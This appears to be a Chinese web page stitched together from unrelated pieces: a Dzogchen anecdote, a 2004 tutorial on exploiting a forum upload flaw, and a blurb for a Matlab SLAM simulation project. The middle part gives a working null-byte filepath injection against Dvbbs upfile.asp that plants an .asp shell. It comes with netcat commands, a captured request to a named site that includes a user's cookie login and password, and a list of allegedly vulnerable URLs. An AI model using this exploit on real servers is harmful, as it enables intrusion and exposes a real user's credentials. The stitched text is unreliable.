生死无惧

曾经有一位大圆满行者,他不喜欢夸耀自己,却有一大堆弟子跟着他修行。有一个喜欢卖弄学问的僧人非常嫉妒他,他知道这位行者书读得不多,就想:“他只是个平凡人,怎敢去教导别人?他怎敢假装成老师?我要去考考他,好教他当面出丑,让他在弟子面前丢脸,这样他们就会背弃他而跟随我了。”

有一天,他前往拜访这位行者,且轻蔑地说:“你们这些修大圆满的人,难道只会修禅?”

行者的回答让他吃了一惊:“要修什么禅?”

“原来你根本就不修禅!”僧人得意扬扬地大嚷着。

“不过,我什么时候心乱过了?”行者回答。

 

上传漏洞终结篇 一、写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat)   用于提交数据包   DOS界面下运行:   NC -vv www.***.com 80<1.txt   -vv: 回显   80: www端口   1.txt: 就是你要发送的数据包  (更多使用方法请查看本区的帖子) WSE(WSockExpert)   对本机端口的监视,抓取IE提交的数据包  (不会用的就自己到网上搜资料N多) 二、漏洞原理 下面例子假设的前提 www主机: www.***.com; bbs路径 : /bbs/ 漏洞源于对动网上传文件的研究,建议有一定编程经验的 看看Dvbbs的upfile.asp文件,没有必要全部看懂 upfile是通过生成一个form表上传,如下 <form name="form" method="post" action="upfile.asp" ...> <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" ...></form> 用到的变量: filepath 默认值uploadface 属性hiden act   默认值upload   属性hiden file1  就是你要传的那个文件 关键是 filepath 这个变量! 默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 文件是用你的上传时间命名的,就是upfile里的这一句 FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt ------------------------------------------------------------------------- 我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道 char data[]="bbs" 这个data数组长度是4: b b s \0 如果我们构造filepath如下,会怎么样呢? filepath="/newmm.asp\0" 我们在2004.09.24.08.24传的文件就会发生变化 没有改时: http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时: http://www.***.com/newmm.asp\0/200409240824.jpg 这样当服务器接收filepath数据时,检测到newmm.asp后面的\0 就理解为filepath的数据就结束了 这样我们上传的文件,比如c:\1.asp 就保存成: http://www.***.com/newmm.asp 三、后期补充 漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个 上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。 就算他加N个hiden变量也于事无补。 当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 就是我们的新理论诞生的时候! 四、漏洞列表 http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746 监听外部主机     NC [-options] hostname port[s] [ports] ... 监听本地主机     NC -l -p port [options] [hostname] [port] options:     -d       detach from console, stealth mode     -e prog     inbound program to exec [dangerous!!]     -g gateway   source-routing hop point[s], up to 8     -G num     source-routing pointer: 4, 8, 12, ...     -h       this cruft     -i secs     delay interval for lines sent, ports scanned     -l       listen mode, for inbound connects     -L       listen harder, re-listen on socket close     -n       numeric-only IP addresses, no DNS     -o file     hex dump of traffic     -p port     local port number     -r       randomize local and remote ports     -s addr     local source address     -t       answer TELNET negotiation     -u       UDP mode     -v       verbose [use twice to be more verbose]     -w secs     timeout for connects and final net reads     -z       zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] 详细实例: --------------------------------------------------------------------------------- 一、WSE抓包结果(存到1.txt里): POST /bbs/upPhoto/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.xin126.com/bbs/upPhoto/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.xin126.com Content-Length: 1969 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84 -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" ../medias/myPhoto/ -----------------------------7d423a138d0278 ... ... 上传 -----------------------------7d423a138d0278-- --------------------------------------------------------------------------------- 二、UltraEdit打开1.txt改数据: ...... -----------------------------7d423a138d0278 Content-Disposition: form-data; name="filepath" /newmm.asp█         <===这个黑色代表一个空格是 0x20,改成0x00就可以了 ...... --------------------------------------------------------------------------------- 三、重新计算cookies长度,然后nc提交 Nc -vv www.xin126.com 80 <1.txt UltraEdit是一个16位编辑器网上可以下载得到 我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H 其实你改的时候就直接再filepath的结尾处加个00就OK了 计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 ...... Host: www.xin126.com Content-Length: 1969 <======就是这个 Connection: Keep-Alive Cache-Control: no-cache ...... 计算会吧?一个字母、数字就是1 对于上传漏洞提出的解决思路:(仅供参考) 1、一般的上传是把上传路径作为一个变量来处理 ===>我们的对策就是把filepath变成常量。。。 这个方法是目前最有效的(我认为的) 2、加强对于\0的处理,原来我们是读到这里就结束 我们继续读直道下一个变量开始的地方,处理就OK了
同步定位与地图构建(SLAM)技术为移动机器人或自主载具在未知空间中的导航提供了核心支撑。借助该技术,机器人能够在探索过程中实时构建环境地图并确定自身位置。典型的SLAM流程涵盖传感器数据采集、数据处理、状态估计及地图生成等环节,其核心挑战在于有效处理定位与环境建模中的各类不确定性。 Matlab作为工程计算与数据可视化领域广泛应用的数学软件,具备丰富的内置函数与专用工具箱,尤其适用于算法开发与仿真验证。在SLAM研究方面,Matlab可用于模拟传感器输出、实现定位建图算法,并进行系统性能评估。其仿真环境能显著降低实验成本,加速算法开发与验证周期。 本次“SLAM-基于Matlab的同步定位与建图仿真实践项目”通过Matlab平台完整再现了SLAM的关键流程,包括数据采集、滤波估计、特征提取、数据关联与地图更新等核心模块。该项目不仅呈现了SLAM技术的实际应用场景,更为机器人导航与自主移动领域的研究人员提供了系统的实践参考。 项目涉及的核心技术要点主要包括:传感器模型(如激光雷达与视觉传感器)的建立与应用、特征匹配与数据关联方法、滤波器设计(如扩展卡尔曼滤波与粒子滤波)、图优化框架(如GTSAM与Ceres Solver)以及路径规划与避障策略。通过项目实践,参与者可深入掌握SLAM算法的实现原理,并提升相关算法的设计与调试能力。 该项目同时注重理论向工程实践的转化,为机器人技术领域的学习者提供了宝贵的实操经验。Matlab仿真环境将复杂的技术问题可视化与可操作化,显著降低了学习门槛,提升了学习效率与质量。 实践过程中,学习者将直面SLAM技术在实际应用中遇到的典型问题,包括传感器误差补偿、动态环境下的建图定位挑战以及计算资源优化等。这些问题的解决对推动SLAM技术的产业化应用具有重要价值。 SLAM技术在工业自动化、服务机器人、自动驾驶及无人机等领域的应用前景广阔。掌握该项技术不仅有助于提升个人专业能力,也为相关行业的技术发展提供了重要支撑。随着技术进步与应用场景的持续拓展,SLAM技术的重要性将日益凸显。 本实践项目作为综合性学习资源,为机器人技术领域的专业人员提供了深入研习SLAM技术的实践平台。通过Matlab这一高效工具,参与者能够直观理解SLAM的实现过程,掌握关键算法,并将理论知识系统应用于实际工程问题的解决之中。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵权请联系我删除!
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